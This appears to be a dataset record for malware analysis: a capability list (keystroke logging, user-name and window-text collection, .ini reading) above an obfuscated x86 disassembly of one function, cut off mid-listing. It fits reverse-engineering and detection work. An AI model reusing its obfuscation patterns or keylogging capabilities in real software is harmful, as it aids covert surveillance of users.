Function at 0x1001253e
Capabilities:
Get disk information
Get graphical window text
Get session user name
Log keystrokes
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061f3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xd14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x4c], 0xe05dae5a
mov dword [ebp - 0xec], 0x77278fa8
mov dword [ebp - 0x7a4], 0
cmp dword [ebp - 0x4c], 0
je 0x10012596
cmp dword [ebp - 0x4c], 0
je 0x10012596
mov dword [ebp - 0x650], 1
jmp 0x1001259d
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x650], eax
jne 0x100125b4
mov dword [ebp - 0x6f4], 1
jmp 0x100125bb
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x4c]
sub eax, 8
mov dword [ebp - 0xec], eax
mov eax, 0x8e1b8814
sub eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x6f4], eax
jle 0x100125e3
mov dword [ebp - 0x6fc], 1
jmp 0x100125ea
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x6fc], eax
jl 0x10012601
mov dword [ebp - 0x704], 1
jmp 0x10012608
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x704], eax
jge 0x1001261f
mov dword [ebp - 0x70c], 1
jmp 0x10012626
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
add eax, 0x30cc0dd
je 0x1001265e
mov byte [ebp - 0xdb], 0
movzx eax, byte [ebp - 0xdb]
test eax, eax
je 0x10012659
push 0x2440
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
jmp 0x10012771
mov dword [ebp - 0x4c], 0
jmp 0x1001266e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xf
jge 0x10012750
push 1
lea ecx, [ebp - 0xa94]
call fcn.10001dc8
and dword [ebp - 4], 0
mov dword [ebp - 0x288], 0
jmp 0x100126a2
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 1
jge 0x100126c4
push dword [ebp - 0x288]
lea ecx, [ebp - 0xa94]
call fcn.10001e41
mov dword [eax], 0x5256ee97
jmp 0x10012695
mov dword [ebp - 0xec], 0
jmp 0x100126dd
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x10012705
mov byte [ebp - 0xe6], 0
movzx eax, byte [ebp - 0xe6]
test eax, eax
je 0x10012703
push 0x128c
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x100126d0
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x1001273c
push 0x96e
push 0
push 0x20a9
push 0x1933
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa94]
call fcn.10001e25
jmp 0x10012667
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x10012771
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
cmp dword [ebp - 0x7a4], 0
jne 0x1001278c
mov eax, 0xe10e5e53
test eax, eax
jne 0x1001278c
and dword [ebp - 0x714], 0
jmp 0x10012796
mov dword [ebp - 0x714], 1
mov eax, dword [ebp - 0x714]
mov dword [ebp - 0xec], eax
push 1
lea ecx, [ebp - 0xaa4]
call fcn.10001dc8
mov dword [ebp - 4], 1
mov dword [ebp - 0x178], 0xffffffff
mov dword [ebp - 0x2a4], 0
jmp 0x100127d9
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 1
jge 0x100127fb
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0xaa4]
call fcn.10001e41
mov dword [eax], 1
jmp 0x100127cc
mov dword [ebp - 0x178], 0
jmp 0x10012814
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0
jl 0x1001296d
and dword [ebp - 0x9a8], 0
and dword [ebp - 0x9a4], 0
and dword [ebp - 0x9a0], 0
and dword [ebp - 0x99c], 0
lea ecx, [ebp - 0x311]
call fcn.100020e3
push eax
lea eax, [ebp - 0x998]
push eax
lea eax, [ebp - 0x9a8]
push eax
lea ecx, [ebp - 0xc68]
call fcn.1000716b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x970]
call fcn.10007145
mov byte [ebp - 4], 2
mov dword [ebp - 0x258], 0xa80e3580
push 1
lea ecx, [ebp - 0x970]
call fcn.10001e41
and dword [eax], 0
jmp 0x100128b6
push 1
lea ecx, [ebp - 0x970]
call fcn.10001e41
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x720]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x720]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x970]
call fcn.10001e41
cmp dword [eax], 0
jl 0x100128f2
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x100128f0
push 0x149a
push 0
push 0
push 0x82d
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
jmp 0x10012892
mov dword [ebp - 0x258], 0
jmp 0x1001290b
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jg 0x10012959
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x1001293b
push 0
push 0x1a9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x10012957
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x100128fe
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x970]
call fcn.10001e25
jmp 0x10012807
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaa4]
call fcn.10001e25
cmp dword [0x1008bd44], 0
jne 0x100179f6
push 3
lea ecx, [ebp - 0x124]
call fcn.10001dc8
mov dword [ebp - 4], 3
mov dword [ebp - 0xb0], 0xd3740063
mov dword [ebp - 0xa8], 0xc2f5a260
mov dword [ebp - 0x180], 0
jmp 0x100129ca
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x100129e9
push dword [ebp - 0x180]
lea ecx, [ebp - 0x124]
call fcn.10001e41
and dword [eax], 0
jmp 0x100129bd
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
cmp dword [eax], 0x7bededb5
je 0x10012a17
mov dword [ebp - 0x3f0], 1
jmp 0x10012a1e
and dword [ebp - 0x3f0], 0
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov esi, dword [eax]
add esi, dword [ebp - 0x3f0]
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
add esi, dword [eax]
mov dword [ebp - 0xb0], esi
mov dword [ebp - 0xb0], 0
jmp 0x10012a61
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x15
jge 0x10012e48
push 2
lea ecx, [ebp - 0x2e4]
call fcn.10001dc8
mov byte [ebp - 4], 4
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x67c], 1
mov dword [ebp - 0x2ac], 0
jmp 0x10012aa9
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 2
jge 0x10012acb
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
mov dword [eax], 5
jmp 0x10012a9c
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
mov dword [eax], 2
jmp 0x10012b04
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x358]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
cmp dword [eax], 0
jl 0x10012e17
mov dword [ebp - 0x8c8], 0x5807c1ab
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
push dword [eax]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov esi, eax
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
push dword [eax]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x10012b6c
mov dword [ebp - 0x654], 1
jmp 0x10012b73
and dword [ebp - 0x654], 0
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
cmp dword [eax], 0
je 0x10012b9a
cmp dword [ebp - 0xa8], 0
je 0x10012b9a
mov dword [ebp - 0x360], 1
jmp 0x10012ba1
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x654]
cmp eax, dword [ebp - 0x360]
jg 0x10012bbb
mov dword [ebp - 0x65c], 1
jmp 0x10012bc2
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0x281c1d99
je 0x10012bda
mov dword [ebp - 0x368], 1
jmp 0x10012be1
and dword [ebp - 0x368], 0
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov ecx, dword [ebp - 0x368]
cmp ecx, dword [eax]
jne 0x10012c04
mov dword [ebp - 0x664], 1
jmp 0x10012c0b
and dword [ebp - 0x664], 0
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
push dword [eax]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov ecx, dword [ebp - 0x664]
add ecx, dword [eax]
jne 0x10012c41
mov eax, 0x668dacb3
test eax, eax
jne 0x10012c41
and dword [ebp - 0x370], 0
jmp 0x10012c4b
mov dword [ebp - 0x370], 1
push 1
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
mov ecx, dword [ebp - 0x370]
sub ecx, dword [eax]
mov dword [ebp - 0xa8], ecx
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb7c], eax
xor eax, eax
add eax, 0x3050
cmp eax, dword [ebp - 0x8c8]
jle 0x10012c8d
mov dword [ebp - 0x66c], 1
jmp 0x10012c94
and dword [ebp - 0x66c], 0
mov esi, dword [ebp - 0x66c]
sub esi, dword [ebp - 0x44]
sub esi, 0x1f19
push 2
lea ecx, [ebp - 0x124]
call fcn.10001e41
cmp esi, dword [eax]
jg 0x10012cc0
mov dword [ebp - 0x378], 1
jmp 0x10012cc7
and dword [ebp - 0x378], 0
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
push dword [eax]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov eax, dword [eax]
sub eax, dword [ebp - 0x378]
cmp eax, 0xcecb2ec6
ja 0x10012cfc
mov dword [ebp - 0x674], 1
jmp 0x10012d03
and dword [ebp - 0x674], 0
cmp dword [ebp - 0x674], 0
je 0x10012d18
mov dword [ebp - 0x380], 1
jmp 0x10012d1f
and dword [ebp - 0x380], 0
push 1
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
mov ecx, dword [ebp - 0x380]
add ecx, dword [eax]
mov dword [ebp - 0x67c], ecx
je 0x10012d45
mov eax, 0xeb476352
test eax, eax
jne 0x10012da0
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x10012d63
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov dword [ebp - 0xa8], 0
jmp 0x10012d7c
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x10012d9e
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov dword [eax], 1
jmp 0x10012d6f
jmp 0x10012dcc
mov dword [ebp - 0x44], 0
jmp 0x10012db0
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10012dcc
push dword [ebp - 0x44]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov dword [eax], 0x3592
jmp 0x10012da9
mov dword [ebp - 0x44], 0
jmp 0x10012ddc
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x10012e12
push 0
lea ecx, [ebp - 0x2e4]
call fcn.10001e41
push dword [eax]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov esi, eax
push dword [ebp - 0x44]
lea ecx, [ebp - 0x124]
call fcn.10001e41
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x10012dd5
jmp 0x10012ae0
cmp dword [ebp - 0xb0], 0
je 0x10012e34
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2e4]
call fcn.10001e25
jmp 0x10012a54
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2e4]
call fcn.10001e25
jmp 0x10012a54
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x124]
call fcn.10001e25
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x30], 0x838a1f94
push 2
lea ecx, [ebp - 0xa20]
call fcn.10001dc8
mov dword [ebp - 4], 5
mov dword [ebp - 0xbe4], 1
mov dword [ebp - 0x188], 0
jmp 0x10012e9c
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x10012ebe
push dword [ebp - 0x188]
lea ecx, [ebp - 0xa20]
call fcn.10001e41
mov dword [eax], 0xdebf624
jmp 0x10012e8f
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x1001342d
mov dword [ebp - 0x24], 0x84edc02
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x260], 0
jmp 0x10012ef8
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 4
jge 0x10012f14
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0xa48], 0xfffffffc
jmp 0x10012eeb
mov dword [ebp - 0x30], 0
jmp 0x10012f24
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jg 0x100132e4
mov dword [ebp - 0x1a0], 0x9d08
mov dword [ebp - 0x48], 0
jmp 0x10012f48
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jg 0x100132df
mov dword [ebp - 0x388], 0x1743
mov dword [ebp - 0x8d0], str.gyr_jxfvtr_ngcep_uoyjce_qrliqep_pexlhju_asvj_qqwterwrh_vbmb_wzpors_gtusstp_whtml_rdq_xvmpmwzca
cmp dword [ebp - 0x388], 0x1955
jle 0x10013068
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
and dword [ebp - 0x190], 0
jmp 0x10012fa2
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x7a94
jge 0x10013068
and dword [ebp - 0x2b4], 0
jmp 0x10012fc8
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x49b0
jge 0x10013063
and dword [ebp - 0x198], 0
jmp 0x10012fee
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x47a3
jge 0x1001305e
and dword [ebp - 0x268], 0
jmp 0x10013010
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x763
jge 0x1001305c
mov eax, dword [ebp - 0x190]
cdq
idiv dword [ebp - 0x2b4]
sub edx, dword [ebp - 0x198]
or edx, dword [ebp - 0x268]
mov eax, edx
cdq
mov dword [ebp - 0x7e4], eax
mov dword [ebp - 0x7e0], edx
push dword [ebp - 0x7e0]
push dword [ebp - 0x7e4]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x10013003
jmp 0x10012fe1
jmp 0x10012fbb
jmp 0x10012f95
mov dword [ebp - 0x8d8], 0xad53a38d
mov byte [ebp - 4], 6
cmp dword [ebp - 0x388], 0x155b
jge 0x10013092
mov edx, dword [ebp - 0x8d0]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x100130ae
mov dword [ebp - 4], 5
jmp 0x100130be
cmp dword [ebp - 0x8d8], 0
je 0x100130db
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
je 0x100130db
mov dword [ebp - 0x684], 1
jmp 0x100130e2
and dword [ebp - 0x684], 0
cmp dword [ebp - 0x684], 0x995f
jle 0x100130fa
mov dword [ebp - 0x390], 1
jmp 0x10013101
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x390]
jg 0x10013118
mov dword [ebp - 0x68c], 1
jmp 0x1001311f
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x68c], eax
jne 0x10013136
mov dword [ebp - 0x398], 1
jmp 0x1001313d
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x398], eax
jge 0x10013154
mov dword [ebp - 0x694], 1
jmp 0x1001315b
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x694], 0
jbe 0x10013170
mov dword [ebp - 0x3a0], 1
jmp 0x10013177
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0x2522abf7
je 0x1001318f
mov dword [ebp - 0x69c], 1
jmp 0x10013196
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x69c], eax
jl 0x100131ad
mov dword [ebp - 0x3a8], 1
jmp 0x100131b4
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x3a8]
jl 0x100131ce
mov dword [ebp - 0x8e0], 1
jmp 0x100131d5
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xbc8], eax
cmp dword [ebp - 0x1a0], 0x9ea5d840
je 0x100131ff
mov dword [ebp - 0x6a4], 1
jmp 0x10013206
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x6a4]
sub eax, dword [ebp - 0x2e8]
sub eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x2e8]
jne 0x1001322c
mov dword [ebp - 0x6ac], 1
jmp 0x10013233
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xa48]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x3b0]
mov dword [ebp + eax*4 - 0xa48], ecx
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x6ac]
jg 0x1001326d
mov dword [ebp - 0x3b8], 1
jmp 0x10013274
and dword [ebp - 0x3b8], 0
cmp dword [ebp - 0x3b8], 1
jle 0x10013289
mov dword [ebp - 0x6b4], 1
jmp 0x10013290
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x6b4], eax
jge 0x100132a7
mov dword [ebp - 0x8e8], 1
jmp 0x100132ae
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xa48]
mov dword [ebp - 0xbcc], eax
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x24], eax
jmp 0x10012f41
jmp 0x10012f1d
cmp dword [ebp - 0x24], 0
jne 0x10013409
mov eax, dword [ebp - 0x48]
sub eax, 8
cmp eax, dword [ebp - 0x48]
je 0x10013305
mov dword [ebp - 0x3c0], 1
jmp 0x1001330c
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x3c0], eax
jg 0x10013323
mov dword [ebp - 0x6bc], 1
jmp 0x1001332a
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x30], 1
ja 0x1001333c
mov dword [ebp - 0x3c8], 1
jmp 0x10013343
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x3c8]
je 0x1001335a
mov dword [ebp - 0x8f0], 1
jmp 0x10013361
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x30]
je 0x1001337b
cmp dword [ebp - 0x24], 0
je 0x1001337b
mov dword [ebp - 0x6c4], 1
jmp 0x10013382
and dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0
jb 0x10013397
mov dword [ebp - 0x3d0], 1
jmp 0x1001339e
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x3d0]
test eax, eax
je 0x100133bc
xor eax, eax
je 0x100133bc
mov dword [ebp - 0x6cc], 1
jmp 0x100133c3
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x24], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + eax - 0xa48]
jle 0x100133ea
mov dword [ebp - 0x3d8], 1
jmp 0x100133f1
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x10013409
and dword [ebp - 0x6d4], 0
jmp 0x10013413
mov dword [ebp - 0x6d4], 1
push 0
lea ecx, [ebp - 0xa20]
call fcn.10001e41
mov ecx, dword [ebp - 0x6d4]
mov dword [eax], ecx
jmp 0x100134c1
mov dword [ebp - 0x9bc], 0xa2f90942
mov dword [ebp - 0x9b8], 0xa2f90942
mov dword [ebp - 0x9b4], 0xa2f90942
mov dword [ebp - 0x9b0], 0xa2f90942
lea ecx, [ebp - 0x319]
call fcn.100020e3
push eax
lea eax, [ebp - 0x9ac]
push eax
lea eax, [ebp - 0x9bc]
push eax
lea ecx, [ebp - 0xc38]
call fcn.1000716b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xab4]
call fcn.10007145
mov byte [ebp - 4], 8
push 2
lea ecx, [ebp - 0xab4]
call fcn.10001e41
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0x3e0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3e0]
mov dword [ecx], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xab4]
call fcn.10001e25
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x100134db
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa20]
call fcn.10001e25
mov dword [ebp - 0xf4], 0xfffffff6
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0x5a8], 0x229edca8
mov dword [ebp - 0x16c], 0
jmp 0x10013521
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x1001353d
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x10c], 0xfc3938dd
jmp 0x10013514
cmp dword [ebp - 0xf4], 0
je 0x1001373d
push 1
lea ecx, [ebp - 0x784]
call fcn.10001dc8
mov dword [ebp - 4], 9
mov dword [ebp - 0x6f0], 0xfffffffc
mov dword [ebp - 0x900], 0x77c422d5
mov dword [ebp - 0x1a8], 0
jmp 0x1001358b
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x100135ad
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x784]
call fcn.10001e41
mov dword [eax], 0xc70c
jmp 0x1001357e
push 0
lea ecx, [ebp - 0x784]
call fcn.10001e41
cmp dword [eax], 0
je 0x10013609
cmp dword [ebp - 0xf4], 0x3b7beded
jle 0x100135d7
mov dword [ebp - 0x33c], 1
jmp 0x100135de
and dword [ebp - 0x33c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x33c]
mov dword [ebp + eax - 0x10c], ecx
cmp dword [ebp - 0x33c], 0x16580849
je 0x10013609
mov dword [ebp - 0x6dc], 1
jmp 0x10013610
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0xb8], eax
push 0
lea ecx, [ebp - 0x784]
call fcn.10001e41
push 0
lea ecx, [ebp - 0x784]
call fcn.10001e41
cmp dword [eax], 0xfffffffd
jne 0x10013647
mov dword [ebp - 0x3e8], 1
jmp 0x1001364e
and dword [ebp - 0x3e8], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x10c], 0x5de1fc65
xor eax, eax
sub eax, 0x5de1fc65
cmp eax, dword [ebp - 0x3e8]
jne 0x1001368c
push 0
lea ecx, [ebp - 0x784]
call fcn.10001e41
cmp dword [eax], 0
je 0x1001368c
mov dword [ebp - 0x6e4], 1
jmp 0x10013693
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x6e4], eax
jge 0x100136ad
mov dword [ebp - 0x6ec], 1
jmp 0x100136b4
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x6ec], eax
jne 0x100136ce
mov dword [ebp - 0x8f8], 1
jmp 0x100136d5
and dword [ebp - 0x8f8], 0
mov dword [ebp - 0x5a8], 0x50f8
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0xa98], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c], 0x3dec
jl 0x1001370a
mov dword [ebp - 0x3f8], 1
jmp 0x10013711
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x900], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x784]
call fcn.10001e25
jmp 0x10013a4a
mov dword [ebp - 0x400], 0x62de
mov dword [ebp - 0x908], str.gdax_mskwkbh_jvenotuj_fnweps_vsxpn_kbkdxlw_mmyo_nrupsrhz_uzomca_vxgl_onprfyc_ukjbslbjt_ueoa
cmp dword [ebp - 0x400], 0x63e5
jle 0x1001383d
push 0x17ba
push 0x22ed
push 0x46e
push 0x1a8d
push 0x15d
push 0x358
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
and dword [ebp - 0x2bc], 0
jmp 0x100137a9
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x204d
jge 0x1001383d
and dword [ebp - 0x270], 0
jmp 0x100137cf
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x3714
jge 0x10013838
and dword [ebp - 0x1b0], 0
jmp 0x100137f1
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x7f45
jge 0x10013836
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x1b0]
sar eax, cl
or eax, dword [ebp - 0x2bc]
cdq
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], edx
push dword [ebp - 0x7ec]
push dword [ebp - 0x7f0]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x100137e4
jmp 0x100137c2
jmp 0x1001379c
mov dword [ebp - 0x278], 0
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x400], 0x627f
jge 0x1001386a
mov edx, dword [ebp - 0x908]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x10013886
or dword [ebp - 4], 0xffffffff
jmp 0x10013890
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x910], 0x592e
mov dword [ebp - 0xb8], 0
jmp 0x100138bd
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffff3
jne 0x10013a06
mov dword [ebp - 0x408], 3
mov dword [ebp - 0x1b8], 0
jmp 0x100138ed
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jge 0x10013909
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0xc18], 0xffffffff
jmp 0x100138e0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc18], 0
je 0x100139cd
cmp dword [ebp - 0x278], 0xffffffff
je 0x1001399b
cmp dword [ebp - 0x278], 0xffffffff
jl 0x1001393b
mov dword [ebp - 0x5b0], 1
jmp 0x10013942
